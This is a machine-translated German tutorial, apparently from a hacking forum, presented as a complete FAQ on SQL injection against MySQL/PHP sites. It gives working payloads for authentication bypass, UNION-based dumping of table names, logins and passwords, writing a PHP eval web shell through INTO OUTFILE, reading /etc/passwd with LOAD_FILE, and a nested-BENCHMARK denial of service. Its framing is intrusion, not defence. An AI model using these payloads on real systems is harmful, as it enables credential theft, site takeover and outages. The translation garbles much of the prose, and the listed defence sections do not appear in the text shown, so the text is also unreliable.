This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [vollständige FAQ]



  • 0.INTRO
  • 1. WIE FINDEN SIE SQL INJECTION?
  • 2. WAS UND WIE ES AUS DIESEM GEBRAUCH ENTFERNT WERDEN KANN
  • 3. Was ist, wenn kein Feld vorhanden ist?
  • 4. Was tun, wenn etwas gefiltert wird?
  • 5. NÜTZLICHE FUNKTIONEN IN MYSQL
  • 6. WIE SIE VOR DER SQL-INJEKTION SCHÜTZEN
  • 7. ZUSCHLÄGE


  • 0.INTRO


    Laziv im Internet auf der Suche nach mindestens einer Art von Informationen über SQL-Injektion, lief Sie wahrscheinlich über die Artikel entweder sehr kurz, oder nicht verständlich, oder beleuchtet ein Thema oder etwas anderes, das Sie natürlich nicht mochte. Wenn das und ich irgendwo 10-20 Artikel zu diesem Thema gesammelt haben, um in viele der Feinheiten dieser Schwachstelle einzutauchen. Und dann erinnerte ich mich an diese Zeiten, als ich beschloss, eine vollständige FAQ zu diesem Thema zu schreiben, damit der Rest nicht leiden musste. Und noch eine Anfrage. Diejenigen, die feststellen werden, dass ich etwas verpasst habe, wo etwas nicht stimmt, und so schreibe bitte unten, es ist trotzdem schwer, behalte alles im Hinterkopf :) . Übrigens, das ist mein erster Artikel, bitte werfen Sie keine Tomaten und treten Sie nicht mit den Füßen.

    Nicht der erste Tag, an dem Sie von Einbrüchen verschleppt wurden, Sie wissen wahrscheinlich, was SQL-Injektion ist, wenn nicht, ich bin dieser Artikel für Sie. Die SQL-Injektion bei nur einer Injektion ist die Angriffsart, bei der der Angreifer die ursprüngliche Abfrage an die Datenbank ändert, sodass bei der Ausführung der Abfrage die Informationen angezeigt werden, die sie von der Datenbank benötigt.

    Um diesen Artikel zu assimilieren, benötigen Sie:
    a) Ein Gehirn haben
    b) Gerade Hände
    c) Kenntnisse der SQL-Sprache

    Im Grunde wurde dieser Artikel sowohl für MYSQL + PHP geschrieben, aber es gibt ein paar Beispiele mit MSSQL.

    Im Allgemeinen ist meiner Meinung nach der beste Weg, um zu lernen, wie man richtig mit SQL-Injection arbeitet, nicht diesen Artikel zu lesen, sondern es zu üben , um zum Beispiel das anfällige Skript selbst zu schreiben, oder meinen am Ende zu verwenden.

    Übrigens rate ich Ihnen, alles hintereinander zu lesen, weil jeder Absatz etwas Wichtiges für den nächsten Artikel usw. hat.

    1. WIE FINDEN SIE SQL INJECTION?

    Es ist ziemlich einfach. Es ist notwendig, in alle Felder, Variablen, Cookies doppelte und einfache Anführungszeichen einzufügen.

    1.1 Die zweite erste

    Fangen wir mit diesem Skript an

    1 . Angenommen, die ursprüngliche Abfrage an die Datenbank sieht folgendermaßen aus:
    SELECT * FROM news WHERE id=' 1 '; Jetzt fügen wir der Variablen "id" das Anführungszeichen wie folgt hinzu: Wenn die Variable nicht gefiltert ist und Fehlermeldungen enthalten sind, dann etwas wie:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; Überprüfen Sie das Handbuch, das Ihrer MySQL-Server-Version entspricht, damit die richtige Syntax in der Nähe von "1" verwendet werden kann.

    Da in der Abfrage zur Datenbank ein zusätzliches Anführungszeichen steht:
    SELECT * FROM news WHERE id=' 1' '; Wenn der Fehlerbericht deaktiviert ist, können Sie in diesem Fall das Vorhandensein der Sicherheitsanfälligkeit wie folgt ermitteln (außerdem würde dies nicht verhindern, dass dies mit Punkt 1.4 verwechselt wird, wie im selben Absatz beschrieben): Die Abfrage für die Datenbank lautet also wie folgt:
    SELECT * FROM news WHERE id=' 1'; -- '; (Für diejenigen, die im Tank sind "-" dies ist ein Zeichen für den Beginn des Kommentars alle nach dem es verworfen wird, möchte ich auch darauf aufmerksam machen, dass es ein Leerzeichen hinter ihm sein muss (So ist es in der Dokumentation zu MYSQL geschrieben) und übrigens auch davor). Für MYSQL bleibt die Abfrage also gleich und es wird dasselbe angezeigt wie für http: //xxx/news.php? Id = 1
    Der ganze Punkt 2 ist gewidmet, was man mit dieser Schwachstelle machen soll.

    1.2 Der zweite Fall

    In SQL gibt es eine LIKE- Anweisung. Es dient zum Vergleichen von Strings. Hier erlauben wir dem Autorisierungsskript, das Login einzugeben und das Passwort fordert die Datenbank wie folgt an:
    SELECT * FROM Benutzer WHERE Login LIKE 'Admin' UND pass LIKE '123';

    Auch wenn dieses Skript das Anführungszeichen filtert, bleibt es dennoch anfällig für die Injektion. Anstelle des Passworts müssen wir nur "%" eingeben (für den LIKE-Operator entspricht das Zeichen "%" einer beliebigen Zeichenfolge), und dann wird die Abfrage
    SELECT * FROM Benutzer WHERE login LIKE 'Admin' UND pass LIKE '%';

    und wir werden mit dem Login 'Admin' reingelassen. In diesem Fall haben wir nicht nur die SQL-Injection gefunden, sondern sie auch erfolgreich verwendet.

    1.3 Der dritte Fall

    Was tun, wenn im selben Berechtigungsskript keine Angebotsprüfung stattfindet? Es wird zumindest töricht sein, diese Injektion zu verwenden, um einige Informationen auszugeben. Lassen Sie uns die Datenbank abfragen wird vom Typ sein:
    SELECT * FROM Benutzer WHERE login = 'Admin' UND pass = '123';

    Leider passt das Passwort '123' nicht :) , aber wir haben festgestellt, dass die Injektion im Parameter 'login' gültig ist und dass wir uns unter dem Nicknamen 'Admin' registrieren müssen . Das heißt, der Teil mit der Passwortüberprüfung wird verworfen und wir geben den Namen 'Admin' ein.
    SELECT * FROM Benutzer WHERE login = ' Admin'; - 'UND pass =' ​​123 ';

    Und nun, was zu tun ist, wenn die Sicherheitslücke im 'pass' Feld ist. In dieses Feld geben wir folgendes ein: 123 'ODER login =' Admin '; - . Die Abfrage wird:
    SELECT * FROM Benutzer WHERE login = 'Admin' UND pass = '123' ODER login = 'Admin'; - ";

    Das für eine Datenbank wird es zu einer solchen Bitte absolut unbestimmt sein:
    SELECT * FROM Benutzer WHERE (login = 'Admin' UND pass = '123') ODER (login = 'Admin');

    Und nach diesen Aktionen werden wir mit dem Login 'Admin' ein vollständiger Besitzer des ACK.

    1.4 Vierter Fall

    Kehren wir zum Nachrichtenskript zurück. Von der SQL-Sprache müssen wir daran denken, dass die numerischen Parameter nicht in Anführungszeichen gesetzt werden, das heißt, mit einem solchen Appell an das Skript http: //xxx/news.php? Id = 1 sieht die Abfrage in der DB so aus:
    SELECT * FROM Nachrichten WHERE ID = 1 ;

    Um diese Injektion zu erkennen, können Sie auch das Anführungszeichen im Parameter 'id' ersetzen und dann wird dieselbe Fehlermeldung ausgegeben:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; Überprüfen Sie das Handbuch, das Ihrer MySQL-Serverversion entspricht, um die richtige Syntax für '1' zu verwenden.

    Wenn diese Nachricht nicht vyprigivaet ist, kann verstanden werden, dass das Zitat gefiltert wird, und dann ist es notwendig, http: //xxx/news.php einzugeben? Id = 1 bla-bla-bla
    DB wird das für Bla Bla Bla nicht verstehen und wird eine Fehlermeldung geben wie:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; 1 bla-bla-bla (1 bla-bla-bla)

    Wenn der Fehlerbericht deaktiviert ist, klicken Sie hier http: //xxx/news.php? Id = 1; -
    Es sollte genau wie http: //xxx/news.php? Id = 1 erscheinen

    Jetzt können Sie mit Schritt 2 fortfahren.

    2. WAS UND WIE ES AUS DIESEM GEBRAUCH ENTFERNT WERDEN KANN

    Als nächstes werden wir nur die Art von Schwachstelle, die in Abschnitt 1.1 beschrieben wird, berücksichtigen und sie ändern, um die anderen nicht schwierig zu machen :)

    2.1 Das UNION- Team

    Für den Anfang ist das UNION- Kommando am nützlichsten (wer weiß nicht, zu Google zu gehen) ...
    Ändern Sie den Aufruf des Skripts http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . Die Abfrage an die Datenbank, die wir erhalten, ist wie folgt:
    SELECT * FROM Nachrichten WHERE ID = '1' UNION SELECT 1 - ';


    2.1.1.1 Auswahl der Anzahl der Felder (Methode 1)

    Nicht zu vergessen die Tatsache, dass die Anzahl der Spalten vor UNION und nachher sicher einen Fehler ergeben sollte (außer es gibt mehr als eine Spalte in der News-Tabelle):

    mysql_query (): Die verwendeten SELECT-Anweisungen haben eine andere Anzahl von Spalten

    In diesem Fall müssen wir eine Anzahl von Spalten aufnehmen (das wäre ihre Nummer vor UNION und nach der Übereinstimmung). Wir machen es so:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Ein Fehler ist aufgetreten. " Die verwendeten SELECT-Anweisungen haben eine andere Anzahl von Spalten "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Wieder ein Fehler.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Es wurde genau wie http: //xxx/news.php? Id = 1 angezeigt
    bedeutet, dass die Anzahl der Felder ausgewählt ist, dh es gibt 6 von ihnen ...


    2.1.1.2 Auswahl der Anzahl der Felder (Methode 2)

    Und diese Methode basiert auf der Auswahl der Anzahl der Felder mit GROUP BY . Das ist eine Anfrage dieses Typs:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Es wird ohne Fehler angezeigt, wenn die Anzahl der Felder kleiner oder gleich 2 ist.
    Wir machen eine Anfrage dieses Typs:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Ups ... Es gab einen Typfehler.

    mysql_query (): Unbekannte Spalte '10' in 'Gruppenanweisung'

    Daher sind die Spalten kleiner als 10. Teilen Sie 10 durch 2. Und machen Sie eine Abfrage

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Es gibt keinen Fehler, daher ist die Anzahl der Spalten größer als oder gleich 5, aber kleiner als 10. Nehmen Sie nun den Durchschnittswert zwischen 5 und 10, dies stellt sich wie 7 heraus. Führen Sie die Abfrage aus:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh nochmal, ein Fehler ... :(

    mysql_query (): Unbekannte Spalte '7' in 'Gruppenanweisung'

    Also die Zahl ist größer oder gleich 5, aber kleiner als 7. Nun, wir machen weiterhin eine Anfrage

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Es gibt keine Fehler ... Also die Zahl ist größer als oder gleich 6 aber kleiner als 7. Daraus folgt, dass die erforderliche Anzahl von Spalten 6 ist.

    2.1.1.3 Auswahl der Anzahl der Felder (Methode 3)

    Das gleiche Prinzip wie in Abschnitt 2.1.1.2 verwendet nur die ORDER BY- Funktion. Und der Text des Fehlers ändert sich geringfügig, wenn mehr Felder vorhanden sind.

    mysql_query (): Unbekannte Spalte '10' in 'Bestellklausel'

    2.1.2 Definition der Ausgabespalten

    Ich denke, dass viele von uns nur wie eine Seite wie http: //xxx/news.php? Id = 1 nicht funktionieren. Daher müssen wir sicherstellen, dass bei der ersten Abfrage (vor UNION ) nichts angezeigt wird. Am einfachsten ist es, "id" von "1" zu "-1" (oder zu "9999999") zu ändern.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Jetzt haben wir einige, wo in der Seite irgendwelche dieser Zahlen angezeigt werden sollte. (Zum Beispiel, da dies ein bedingtes Nachrichten-Skript ist, wird es in dem "Nachrichten-Titel" angezeigt, sagen wir 3, "Nachrichten" -4 und so weiter). Um nun einige Informationen zu erhalten, müssen wir diese Nummern im Skript durch die benötigten Funktionen ersetzen. Wenn die Nummern nirgends angezeigt werden, können die übrigen Unterabschnitte von Abschnitt 2.1 weggelassen werden.

    2.1.3 SIXSS (SQL Injection CROSS Site Scripting)

    Dieselbe XSS nur durch die Abfrage an die Datenbank. Beispiel:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Nun, ich denke, es ist nicht schwer, das zu verstehen 4 auf der Seite wird durch <script> alert ('SIXSS') </ script> ersetzt und das XSS wird dasselbe sein.

    2.1.4 Namen von Spalten / Tabellen

    Wenn Sie die Namen von Tabellen und Spalten in der Datenbank kennen, können Sie dieses Element auslassen
    Wenn du es nicht weißt ... Es gibt zwei Wege.

    2.1.4.1 Namen von Spalten / Tabellen bei Zugriff auf INFORMATION_SCHEMA und bei MYSQL-Version> = 5

    Die Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen über alle Tabellen in der Datenbank, Spalte TABLE_NAME-Tabellennamen.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABELLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Dies kann zu einem Problem führen. Da nur die erste Zeile der Datenbankantwort angezeigt wird. Dann müssen wir LIMIT wie folgt verwenden :

    Ausgabe der ersten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 1,1 -

    Ausgabe der zweiten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 2.1 - usw.

    Nun, wir haben die Tabelle Benutzer gefunden . Nur das ... ah ... wissen die Spalten nicht ... Dann kommt die Tabelle INFORMATION_SCHEMA.COLUMNS zu uns, die Spalte COLUMN_NAME enthält den Namen der Spalte in der Tabelle TABLE_NAME . So rufen wir die Spaltennamen ab

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 VON INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 VON INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 2,1 -
    usw.

    Und jetzt haben wir die Felder login , password gefunden .

    2.1.4.2 Namen von Spalten / Tabellen, wenn kein Zugriff auf INFORMATION_SCHEMA besteht

    Dies ist eine Arschloch-Version :( Dann treten die üblichen Brutofors in Kraft ... Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Tbl_name -

    Sie müssen den TableName auswählen, bis die folgende Fehlermeldung verschwindet:

    mysql_query (): Tabelle ' Tabellenname ' existiert nicht

    Nun, wir brachten zu Ihrer Zufriedenheit Benutzer vermisste eine Fehlermeldung, und die Seite wurde angezeigt wie bei http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - was bedeutet das ? Dies bedeutet, dass die Tabelle Benutzer vorhanden ist und Sie die Spalten sortieren müssen.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Spaltenname , 5,6 FROM Benutzer -

    Sie müssen den ColumnName auswählen, bis die folgende Fehlermeldung verschwindet:

    mysql_query (): Unbekannte Spalte ' ColumnName ' 'in' Feldliste '

    Wo eine Fehlermeldung verschwindet, existiert eine solche Spalte.

    Und so lernten wir, dass es Login- und Passwortspalten in der Users- Tabelle gibt.

    2.1.5 Ausgabe von Informationen

    Bezug auf das Skript auf diese Weise http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, Login, Passwort, 5,6 FROM Benutzer LIMIT 1.1 - Zeigt uns die Login-und Passwort des ersten Benutzers aus der Tabelle Benutzer .

    2.2 Arbeiten mit Dateien

    2.2.1 In Datei schreiben

    Ist in MYSQL eine so interessante Funktion vom Typ SELECT ... INTO OUTFILE, die es ermöglicht, die Informationen in einer Datei aufzuschreiben. Entweder dieses Design SELECT ... IN DUMPFILE sie sind fast gleich und Sie können jedes verwenden.

    Beispiel: http: //xxx/news.php? Id = -1 'UNION WÄHLEN 1,2,3,4,5,6 IN OUTFILE' 1.txt '; -


    Es gibt mehrere Einschränkungen dafür.
    • Dateien nicht überschreiben
    • Erfordert FILE-Berechtigungen
    • (!) Erforderliche echte Anführungszeichen bei der Angabe des Dateinamens

    Aber was würde uns davon abhalten, das Internet zu verändern? Hier ist ein Beispiel:

    http: //xxx/news.php? id = -1 'UNION WÄHLEN 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    Es bleibt nur übrig, den vollständigen Pfad zum Root der Site auf dem Server zu finden und vor 1.php zu beenden. Sie können einen anderen Fehler im Bericht finden, der den Pfad auf dem Server anzeigt oder ihn im Root des Servers belässt und ihn mit lokalem Includ aufnimmt, aber das ist ein anderes Thema.

    2.2.2 Dateien lesen

    Betrachten Sie die Funktion LOAD_FILE

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Es gibt auch ein paar Einschränkungen dafür.
    • Der vollständige Pfad zu der Datei muss angegeben werden.
    • Erfordert FILE-Berechtigungen
    • Die Datei muss sich auf demselben Server befinden
    • Die Größe dieser Datei sollte kleiner sein als in max_allowed_packet angegeben
    • Die Datei sollte vom Benutzer zum Lesen geöffnet werden, unter dem MYSQL gestartet wird

    Wenn die Funktion die Datei nicht lesen kann, wird NULL zurückgegeben.

    2.3 DOS-Angriff auf SQL-Server

    In den meisten Fällen ist der SQL-Server fertig, weil er sonst nichts tun kann. Typ hat die Tabellen / Spalten nicht kennen gelernt, es gibt keine Rechte dazu, es gibt keine Rechte dazu usw. Ich bin ehrlich gesagt dagegen, aber trotzdem ...

    Näher am Punkt ...
    Die BENCHMARK- Funktion führt dieselbe Aktion mehrmals aus.
    SELECT BENCHMARK (100000, md5 (aktuelle_Zeit));

    Das heißt, hier macht diese Funktion 100000 mal md5 (current_time) die ich auf meinem Rechner habe dauert ca. 0,7 Sekunden ... Es schien so, als gäbe es sowas ... Und wenn du das eingebettete BENCHMARK probierst ?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (aktuelle_Zeit))));

    Um ehrlich zu sein, habe ich sehr lange gerannt. Ich habe nicht einmal gewartet ... Ich musste einen Reset durchführen :) .
    Beispiel Dos in unserem Fall:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (aktuelle_Zeit)))), 4, 5, 6; -

    Es ist genug Zeit, um 100 F5 zu pokern und "der Server wird in einen Ton fallen"))).